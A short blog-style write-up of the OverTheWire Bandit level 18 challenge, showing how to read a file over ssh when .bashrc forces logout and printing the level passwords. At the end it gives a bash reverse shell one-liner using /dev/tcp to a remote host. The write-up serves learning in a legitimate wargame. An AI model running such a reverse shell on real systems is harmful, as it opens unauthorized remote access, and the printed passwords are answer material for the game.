Lessons Learned
ssh actions for when bashrc has immediate logout, also has advice on some reverse shell one liners
Logging in
On a kali vm/ linux machine
Type:
ssh bandit18@bandit.labs.overthewire.org -p 2220
kfBf3eYk5BPBRzwjqutbbfE887SVc5Yd
Completing The Challenge
The Goal:
The password for the next level is stored in a file readme in the homedirectory. Unfortunately, someone has modified .bashrc to log you out when you log in with SSH.
The Solution:
kali@kali:~$ ssh bandit18@bandit.labs.overthewire.org -p 2220 'cat ~/readme'
This is a OverTheWire game server. More information on http://www.overthewire.org/wargames
bandit18@bandit.labs.overthewire.org's password:
IueksS7Ubh8G3DCwVzrTd8rAVOwq3M5x
Ive made reverse shells by doing one liner tcp calls using stuff like the following in the single quotes and by mixing commands using like the following:
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
Comments
Post a Comment